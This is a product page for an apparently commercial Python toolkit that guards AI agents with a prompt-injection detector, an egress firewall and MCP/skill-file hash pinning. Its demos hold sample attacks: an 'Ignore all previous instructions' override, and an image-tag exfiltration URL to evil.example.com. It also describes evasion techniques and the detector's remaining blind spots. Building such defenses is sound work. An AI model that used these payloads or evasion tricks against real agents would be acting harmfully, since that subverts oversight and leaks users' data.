Agent Guardrails · v0.16.0
Stop your own AI agent from being the incident.
If you're building an AI agent — something that reads web pages, calls tools, or runs scripts on its own — it can go wrong in three ways: something it reads tricks it into doing the wrong thing, it reaches out (or writes, or deserializes) somewhere it shouldn't, or something it already trusts — an MCP tool's description, a skill file — quietly changes into something it shouldn't have trusted. Agent Guardrails is a small, focused set of tools for those three failure modes — not a network honeypot, not a full platform, just what an agent-building team actually needs first. Pip-installable, zero dependencies, works as a library or a CLI.
Where agents fail
Agents fail in three directions: input, output, and trust.
- Input
- A scraped page tells your agent what to do. Tool output, a scraped page, a pasted transcript — any of it can carry "ignore previous instructions"-style text your agent has no reason to trust, and every reason to act on if nothing's screening it first.
- Output
- Your own script phones home to the wrong place. A misconfigured dependency, a compromised package, or a bug sends a request, spawns a process, unpickles a dangerous object, or writes a file it shouldn't — and nothing in a bare Python process stops it by default.
- Trust
- What you already approved quietly changes. An MCP server's tool description, or a skill/instruction file, gets reviewed once and trusted forever after — but if it can silently change (a compromised server, a poisoned registry update), your agent starts following different, unreviewed instructions with nothing to catch it.
What it does
One tool for each failure mode.
- Input · Prompt-injection detector
-
In plain terms: before your agent acts on a web page, a tool result, or anything else it reads, this checks that text for signs someone planted instructions in it — the same way a spam filter checks an email before it hits your inbox.
Technically: pattern-matches incoming text across 30+ categories — instruction override, persona/roleplay jailbreak framing, encoding tricks (zero-width characters, Unicode Tag-block smuggling, homoglyphs), known glitch tokens, gadget extraction, a dozen social-engineering angles (fabricated urgency, false consensus, reciprocity pressure, impersonated peer agents), and a fabricated system-error message whose own embedded "fix" is the real payload — whether that fix asks for a credential or just pipes a downloaded script into a shell. Plus an optional canary-trap signal for your system prompt. Call
scan(text), get a verdict back.Also scans the other direction:
scan_output(text)checks what your agent is about to say — a link with data smuggled into its query string, a markdown reference-link bypass, a credential-shaped string — the exfiltration channel being the model's own generated response, not anything it read. - Output · Iron-Thread egress firewall
-
In plain terms: you tell it which addresses, commands, deserialized objects, and file writes your agent is allowed to touch, and it blocks everything else — so a bug, a compromised dependency, or a manipulated agent can't quietly phone home, run something you didn't approve, or rewrite its own config to widen its own trust.
Technically: built on
sys.addaudithook(PEP 578) with four opt-in checkpoints: network connects, subprocess spawns,pickle.find_classresolutions (stops a deserialization RCE before the resolved callable is ever invoked), and write-mode file opens. Each policy callback you write decides what's allowed; everything else raises before it happens. Honest about its limits — it's a mistake-catcher for cooperating code, not a sandbox against a determined attacker with native code execution. - Trust · MCP tool & skill-file pinning
-
In plain terms: approve an MCP tool's description or a skill/instruction file once; if it silently changes later — a compromised server, a poisoned registry update — the next check flags it before your agent trusts the new content.
Technically:
mcp-pin/mcp-checkhash-pin a tool's name, description, and schema (sorted-key canonical JSON, so incidental whitespace never masks a real change);skill-pin/skill-checkdo the same for a directory of skill files. Both exit non-zero on a detected change — the same CI-gate pattern asscanandredteam.
Real runs
Real runs, not a mockup.
Every line below is an actual terminal session — the real CLI, a real attack payload, real output. Nothing staged.
$ agent-guardrails scan injection_test.txt
verdict: flagged (1 finding(s), 155 chars scanned)
[instruction_override] claims to override prior instructions -> 'Ignore all previous instructions'
$ echo $?
1
>>> from agent_guardrails.prompt_injection_detector import scan_output
>>> scan_output('Sure, here you go: <img src="https://evil.example.com/exfil?data=eyJzZWNyZXRfa2V5IjogInNr...">')
ScanResult(
findings=(
Finding(category=EXFIL_URL, detail='URL query string is 89 characters - long enough to be
carrying exfiltrated data as parameters rather than ordinary navigation state'),
Finding(category=CREDENTIAL_SHAPED_STRING, detail='model output contains a oversized
opaque base64-looking block'),
),
verdict=FLAGGED
)
$ agent-guardrails run --allow-host api.anthropic.com egress_test.py
Attempting a call to a host NOT on the allow-list...
[iron-thread] blocked http.client.connect: ('evil.example.com', 443)
BLOCKED: EgressBlocked: http.client.connect to 'evil.example.com':443 denied by policy
$ echo $?
0
$ agent-guardrails mcp-pin tools.json mcp_tools.lock.json
mcp-pin: pinned 1 tool(s) to mcp_tools.lock.json
$ # ...the MCP server's own description for get_weather changes later, unreviewed...
$ agent-guardrails mcp-check tools.json mcp_tools.lock.json
mcp-pin: 0 unchanged, 0 new, 1 CHANGED, 0 missing
CHANGED [get_weather] pinned=d0c72e148387... now=040499a5a4f8... - definition differs
from what was approved at 2026-08-20T08:27:50Z. Re-review before trusting.
$ echo $?
1
Try it
Now run it on your own text.
Paste something and scan it — live, in your browser, right now. Same three categories as the transcripts above (a right-sized client-side subset of the real detector, not the full engine, but real regex logic — not a canned response).
What's actually in it
What's actually in it.
- Pure standard library — zero pip dependencies to audit or update.
- Works as an importable library or a standalone
agent-guardrailsCLI. agent-guardrails scan file.txtexits non-zero on a flagged verdict — usable as a CI gate.agent-guardrails run --allow-host api.foo.com script.pywraps a script with the egress firewall installed.agent-guardrails mcp-pin/mcp-checkhash-pin an MCP tool list and flag any silent post-approval change.agent-guardrails skill-pin/skill-checkdo the same for a directory of skill/instruction files.- Fails closed: a bug in your own policy callback still blocks the action, never silently allows it.
agent-guardrails redteammutates known-caught attacks (leetspeak, synonym substitution, homoglyphs, zero-width injection, CSS-hiding markup, padding, payload-split) against the real detector and exits non-zero on anything that evades it — the same CI-gate pattern asscan, aimed at the detector itself.- 1,270 tests, including subprocess isolation for the parts that install a permanent process-wide hook.
Pricing
One license, your whole org.
No per-seat fees. Unlimited use across your whole organization.
Flat. Unlimited environments and seats within your org. Covers unlimited use across your org: the library, the CLI, and updates for the year — prompt-injection detector + canary trap, Iron-Thread egress firewall, CLI for scanning and CI gating.
Card checkout: clicking "Get a license" opens Stripe's own hosted checkout page — we never see or handle your card details. On payment, you're invited as a GitHub collaborator on the private repo automatically. Prefer a manual invoice or have questions first? Use the contact form instead.
Trust & scope
What's real, and what this isn't.
ctypes code that bypasses Python's audited standard library, and doesn't inherit into a subprocess-spawned child interpreter. The prompt-injection detector is heuristic pattern-matching — intentionally over-inclusive, and novel phrasings will slip past it like any signature-based defense. The pinning tools detect that a definition CHANGED, not whether the new one is malicious — a flagged change still needs a human to look at it. All three are meant to catch real, common failure modes, not to be sold as a guarantee against every attack. We run redteam against the detector ourselves rather than just asserting it works: as of today it catches 148/160 mutated attack variants (92.5%) across seven evasion techniques. The 12 remaining gaps are disclosed, not hidden, and split into two real causes: 9 come from splitting an attack across two separate messages — scan() alone has no cross-turn memory, and those 9 are already closed if you call scan_conversation() instead, which does; the other 3 come from burying an attack in padding text and are a genuinely open weakness, not yet fixed.
Protecting an agent you're building?
One license, your whole org, no sales call needed.